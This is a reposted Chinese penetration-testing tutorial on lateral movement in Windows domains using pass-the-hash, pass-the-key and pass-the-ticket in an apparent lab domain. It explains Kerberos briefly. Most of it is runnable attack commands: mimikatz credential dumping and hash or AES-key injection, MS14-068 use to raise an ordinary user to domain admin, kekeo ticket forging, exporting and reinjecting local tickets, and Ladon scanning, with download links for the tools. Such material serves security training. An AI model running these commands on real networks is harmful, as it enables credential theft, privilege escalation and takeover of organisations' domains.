ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

内网域横向PTH&PTK&PTT哈希票据传递

2021-11-12 12:34:46  阅读:298  来源: 互联网

标签:PTK PTH god 网域 传递 票据 org 连接 dir


内网域横向PTH&PTK&PTT哈希票据传递

在这里插入图片描述

(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211112094611085.png)]

Kerberos 协议具体工作方法,在域中,简要介绍一下:

 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用
krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检
测,成功之后创建 TGT(Ticket-Granting Ticket)

 将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读
取 kerberos 中 TGT 数据

 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服
务)票证,并且对 TGT 进行检测

 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将
加密后的结果返回给客户机。

PTH,PTT,PTK概念:

PTH(pass the hash)#利用 lm 或 ntlm 的值进行的渗透测试
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试
PTK(pass the key)#利用的 ekeys aes256 进行的渗透测试

windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash

可以把票据理解为登录网站后留下来的cookie,或者说和别人建立连接的一个凭据在你电脑上,这时候你就可以用这个票据进行重新连接,票据就是好比cookie

PTH和PTK连接协议是一样的,PTT协议不同,它是kerberos协议。

#PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash
访问远程主机或服务,而不用提供明文密码。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,***安装补丁 kb2871997*** 的 Win 7/2008r2/8/2012 等,可以使用 AES keys
代替 NT hash 来实现 ptk 攻击,

总结:KB2871997 补丁后的影响

1.pth(lm 或 ntlm):没打补丁用户都可以连接,打了补丁只能 administrator 连接
2.ptk(ekeys aes256):打了补丁才能用户都可以连接,采用 aes256 连接
https://www.freebuf.com/column/220740.html
3.#PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
(1)MS14-068 造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sQTtzkyx-1636690410599)(C:\Users\huangzexin\AppData\Roaming\Typora\typora-user-images\image-20211112101032876.png)]

演示案例:

 域横向移动 PTH 传递-Mimikatz
 域横向移动 PTK 传递-Mimikatz
 域横向移动 PTT 传递-MS14068 & kekeo & local
 国产 Ladon 内网杀器测试验收 - 信息收集,连接等

案例 1-域横向移动 PTH 传递-mimikatz

Pass The Hash哈希传递。该方法通过找到账户相关的密码散列值(通常是NTLM hash)来进行攻击。在域环境中,用户登录计算机时大都是域账号,大量计算机在安装的时候会使用相同的本地管理员账号密码,因此,如果计算机的本地管理账号和密码也是相同,攻击者就能使用hash传递攻击的方法登录内网中其他计算机。同时,通过哈希传递攻击,攻击者不需要花费事假破解密码散列值(进而会的明文密码) 。

PTH(哈希传递pass the hash)传递就可以借助工具mimikatz,这款工具不仅是凭证的获取工具,就是获取明文密码的工具,还可以进行相关攻击,比如说

PTH ntlm 传递

未打补丁下的工作组及域连接:
sekurlsa::logonPasswords	获取NTLM值
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7		假设知道域控上的hash,连接域用户
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c		连接本地用户
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

注意区分本地用户与域用户,在实战中都尝试连接一下 
dir \\OWA2010CN-God.god.org\c$
dir \\192.168.3.21\c$
视频中的域控制器\\OWA2010CN-God.god.org
命令:
privilege::debug
sekurlsa::logonPasswords(获取明文密码)

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7(mimikatz运行后会弹出一个窗口cmd)
在弹出的窗口中输入dir \\192.168.3.21\c$(ip地址不识别的话可以换成计算机名)

在这里插入图片描述

弹出一个新的cmd框,在弹出框内尝试dir \<域内IP>c$命令,遍历域内IP,尝试连接域内其他主机,只要弹出框,就说明一定有一个域内主机与我们收集到的NTLM值相同。由于我们是为了测试,所以刚才使用的是域控的NTLM值ccef208c6485269c20db2cad21734fe7,所以如下图所示,正好连接域控,接下来我们就可以进行复制文件、执行文件等操作了。

dir \\OWA2010CN-God.god.org\c$
dir \\192.168.3.21\c$

在这里插入图片描述

注意:在PTH ntlm传递之前,连接是失败的。如下图所示,尝试连接并查看域控c盘目录,由于没有用户名密码,登录失败。

dir \\OWA2010CN-God.god.org\c$``
dir \\192.168.3.21\c$

在这里插入图片描述

案例 2-域横向移动 PTK 传递-mimikatz

PTK aes256 传递- 打补丁后的工作组及域连接:
<1>mimikatz运行sekurlsa::ekeys命令获取aes256_hmac。
sekurlsa::ekeys #获取aes256值
<2>运行以下命令,进行域横向移动PTK传递
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

在实战中,user、domain、aes256的值都是可以写成一个字典,进行批量测试。

在实际上,PTK传递比PTH传递用的少,因为PTK传递需要一个前提条件,主机必须打了补丁kb2871997。

案例演示

<1>mimikatz运行sekurlsa::ekeys命令获取aes256_hmac。

img

<2>运行以下命令,进行域横向移动PTK传递

sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

在实战中,user、domain、aes256的值都是可以写成一个字典,进行批量测试。

img

在实际上,PTK传递比PTH传递用的少,因为PTK传递需要一个前提条件,主机必须打了补丁kb2871997。

案例3:域横向移动PTT传递-ms14068&kekeo&本地

总结:ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

#案例 3-域横向移动 PTT 传递-ms14-068&kekeo & 本地

总结:ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

第一种利用漏洞MS14-068:

能实现普通用户直接获取域控 system 权限

MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

#MS14-068 powershell 执行
1.查看当前 sid :
whoami/user
2.清空当前机器中所有凭证
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造(不用提升权限)
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -
p admin!@#45

生成名为:TGT_mary@god.org.ccache的文件
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表 :klist(当前计算机和哪些东西进行连接,如果要删除票据可以使用命令klist purge)
6.利用

(如果ip连接不了就可以用计算机名)

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

这个票据传递的原理就是生成一个合法的连接请求,然后用mimikatz导入内存中,所以连接的时候就不用连接密码

案例演示

<1>whoami/user 查看当前sid

img

我们知道mary就是域内一个普通用户

img

<2>清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

klist //查看凭证列表
klist purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

img

<3>利用ms14-068生成TGT数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

img

<4>将票据注入到内存中

./mimikatz.exekerberos::ptc TGT_mary@god.org.ccacheexit

img

<5>查看凭证列表。klist 查看一下,注入成功。

img

<6>利用

dir\192.168.3.21\c$dir\\OWA2010CN-God.god.org\c$

img

第二种利用工具 kekeo

工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用 net use 载入
dir \\192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

案例演示

<1>生成票据,导入票据

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //导入票据

img

<2>查看凭证 klist

img

<3>利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

第三种利用本地票据(需管理权限)

因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗。

缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。

sekurlsa::tickets /export //导出本地票据(需管理权限) 
kerberos::ptt xxxxxxxxxx.xxxx.kirbi( //导入票据)
klist //查看票据
dir \\OWA2010CN-God.god.org\c$ //利用
dir \192.168.3.21\c$
总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

案例演示

<1>导出本地票据(需管理权限)到当前目录

sekurlsa::tickets /export

img

下面是所有导出的票据

img

此时klist查看票据为空

img

<2>导入票据

kerberos::ptt xxxxxxxxxx.xxxx.kirbi //导入票据

img

<3>klist查看票据,导入成功。

img

<4>利用

dir \\OWA2010CN-God.god.org\c$ //利用
dir \192.168.3.21\c$

#案例 4-国产 Ladon 内网杀器测试验收

在这里插入图片描述

信息收集-协议扫描-漏洞探针-传递攻击等
涉及资源:

官网:http://k8gege.org/Ladon/

大型内网渗透扫描器&Cobalt Strike,Ladon8.9内置120个模块,包含信息收集/存活主机/端口扫描/服务识别/密码爆破/漏洞检测/漏洞利用。漏洞检测含MS17010/SMBGhost/Weblogic/ActiveMQ/Tomcat/Struts2,密码口令爆破(Mysql/Oracle/MSSQL)/FTP/SSH(Linux)/VNC/Windows(IPC/WMI/SMB/Netbios/LDAP/SmbHash/WmiHash/Winrm),远程执行命令(smbexec/wmiexe/psexec/atexec/sshexec/webshell),降权提权Runas、GetSystem,Poc/Exploit,支持Cobalt Strike 3.X-4.0

具体用法请查看官网wiki,举例如下

Ladon.exe 192.168.1.8/24 OnlinePC 扫当前机器所处C段的存活主机,其它模块同理Ladon.exe 192.168.1.8/24 OsScan 扫当前机器所处C段操作系统版本,其它模块同理Ladon.exe 192.168.1.8/24 MysqlScan 扫当前机器所处C段的ssh端口,其它模块同理Ladon 192.168.1.8/24 MS17010 扫当前机器所处C段的永恒之蓝漏洞,其它模块同理参考:

https://www.cnblogs.com/zpchcbd/p/11944486.html

参考:https://www.cnblogs.com/zhengna/p/15320256.html
涉及资源:
https://github.com/k8gege/Ladon
https://github.com/gentilkiwi/kekeo/releases
https://github.com/abatchy17/indowsExploits/tree/master/MS14-068
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码:xiao

k8gege/Ladon at v6.1 (github.com)

标签:PTK,PTH,god,网域,传递,票据,org,连接,dir
来源: https://blog.csdn.net/qq_50854790/article/details/121285548

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有